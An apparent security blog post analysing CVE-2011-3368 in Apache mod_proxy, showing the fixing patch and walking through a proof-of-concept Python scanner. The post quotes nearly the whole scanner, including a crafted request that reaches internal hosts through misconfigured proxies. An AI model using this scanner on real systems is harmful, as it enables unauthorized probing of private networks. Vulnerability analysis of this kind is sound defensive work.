xorl %eax, %eax

CVE-2011-3368: Apache mod_proxy Reverse Proxy Security Bypass

leave a comment »

This was a very nice design flaw in Apache module disclosed by Michael Jordon and David Robinson of Context Information Security Ltd. and it affects the following versions of Apache HTTP Server.
– 1.3.x – 1.3.42
– 2.0.x – 2.0.64
– 2.2.x – 2.2.21
Due to this design flaw attackers were able to access hosts inside the Apache HTTP server’s network on mis-configured Apache web servers. You can read the complete analysis of the attack vector here.
You can also see the Apache HTTP server’s official security advisory here.

The fix to this issue was to add some code in src/server/protocol.c file to handle any CONNECT requests (as defined in RFC 2616) properly to avoid this vulnerability. The patch is shown below and it is very straightforward.

     ap_parse_uri(r, uri);
 
+    /* RFC 2616:
+     *   Request-URI    = "*" | absoluteURI | abs_path | authority
+     *
+     * authority is a special case for CONNECT.  If the request is not
+     * using CONNECT, and the parsed URI does not have scheme, and
+     * it does not begin with '/', and it is not '*', then, fail
+     * and give a 400 response. */
+    if (r->method_number != M_CONNECT 
+        && !r->parsed_uri.scheme 
+        && uri[0] != '/'
+        && !(uri[0] == '*' && uri[1] == '\0')) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r,
+                      "invalid request-URI %s", uri);
+        r->args = NULL;
+        r->hostname = NULL;
+        r->status = HTTP_BAD_REQUEST;
+        r->uri = apr_pstrdup(r->pool, uri);
+    }
+
     if (ll[0]) {
         r->assbackwards = 0;
         pro = ll;

Now, recently Rodrigo Marcos of SecForce released a proof-of-concept Python code, the “Apache Proxy Scanner” which can be used to scan for internal hosts using the CVE-2011-3368 vulnerability. It’s a simple script but let’s have a closer look…

def usage():
	print
	print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
	print "http://www.secforce.co.uk"
	print
	print "usage():"
	print "python apache_scan.py [options]"
	print
	print " [options]"
	print "		-r: Remote Apache host"
	print "		-p: Remote Apache port (default is 80)"
	print "		-u: URL on the remote web server (default is /)"
	print "		-d: Host in the DMZ (default is 127.0.0.1)"
	print "		-e: Port in the DMZ (enables 'single port scan')"
	print "		-g: GET request to the host in the DMZ (default is /)"
	print "		-h: Help page"
	print
	print "examples:"
	print " - Port scan of the remote host"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif"
	print " - Port scan of a host in the DMZ"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local"
	print " - Retrieve a resource from a host in the DMZ"
	print "		python apache_scan.py -r www.example.com -u /images/test.gif -d internalhost.local -e 80 -g /accounts/index.html"
	print

After this introduction to this tool, we can now move to the actual code…

def main():

	global apache_target
	global apache_port
	global url
	global internal_target
	global internal_port
	global resource

	try:
		opts, args = getopt.getopt(sys.argv[1:], "u:r:p:d:e:g:h", ["help"])
	except getopt.GetoptError:
		usage()
		sys.exit(2)

	try:
		for o, a in opts:
			if o in ("-h", "--help"):
				usage()
				sys.exit(2)
			if o == "-u":
				url=a
			if o == "-r":
				apache_target=a
			if o == "-p":
				apache_port=a
			if o == "-d":
				internal_target = a
			if o == "-e":
				internal_port=a
			if o == "-g":
				resource=a				
		
	except getopt.GetoptError:
		usage()
		sys.exit(2)
		
	if apache_target == "":
		usage()
		sys.exit(2)

This is nothing more than a simple arguments parsing code snippet which continues like this:

known_ports = [0,21,22,23,25,53,69,80,110,137,139,443,445,3306,3389,5432,5900,8080]
   ...
url = "/"
apache_target = ""
apache_port = "80"
internal_target = "127.0.0.1"
internal_port = ""
resource = "/"

main()

if internal_port!="":
	tested_ports = [internal_port]
else:
	tested_ports = known_ports

scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource)

So, if everything is fine it will invoke scan_host() after initializing ‘tested_ports’ array with the ports to scan. Here is the code of this routine:

def get_banner(result):
	return result[string.find(result, "\r\n\r\n")+4:]


def scan_host(url, apache_target, apache_port, internal_target, tested_ports, resource):

	print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource)
	for port in tested_ports:
		port = str(port)
		result = send_request(url, apache_target, apache_port, internal_target, port, resource)
		if string.find(result,"HTTP/1.1 200")!=-1 or \
		string.find(result,"HTTP/1.1 30")!=-1 or \
		string.find(result,"HTTP/1.1 502")!=-1:
			print "- Open port: " + port + "/TCP"
			print get_banner(result)
		elif len(result)==0:
	 		print "- Filtered port: " + port + "/TCP"
		else:
	 		print "- Closed port: " + port + "/TCP"

First of all it calls print_banner() to provide the user with some general information as you can see here:

def print_banner(url, apache_target, apache_port, internal_target, tested_ports, resource):
	print
	print "CVE-2011-3368 proof of concept by Rodrigo Marcos"
	print "http://www.secforce.co.uk"
	print
	print " [+] Target: " + apache_target
	print " [+] Target port: " + apache_port
	print " [+] Internal host: " + internal_target
	print " [+] Tested ports: " + str(tested_ports)
	print " [+] Internal resource: " + resource
	print

Then it enters a ‘for’ loop for the requested ports and simply calls send_request() and parses the result to identify if the requested port is open, filtered or closed based on the HTTP response. Moving to the send_request()…

def send_request(url, apache_target, apache_port, internal_target, internal_port, resource):

	get = "GET " + url + "@" + internal_target + ":" + internal_port +  "/" + resource + " HTTP/1.1\r\n"
	get = get + "Host: " + apache_target + "\r\n\r\n"
	
	remoteserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	remoteserver.settimeout(3)

	try:
		remoteserver.connect((apache_target, int(apache_port)))
		remoteserver.send(get)
		return remoteserver.recv(4096)
	except:
		return ""

As you can see, it uses a URL that would bypass mis-configured Apache web servers using mod_proxy as shown above in the vulnerability description. For more information on this tool you can refer to the official blog post.

Written by xorl

October 18, 2011 at 09:14

Posted in bugs

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s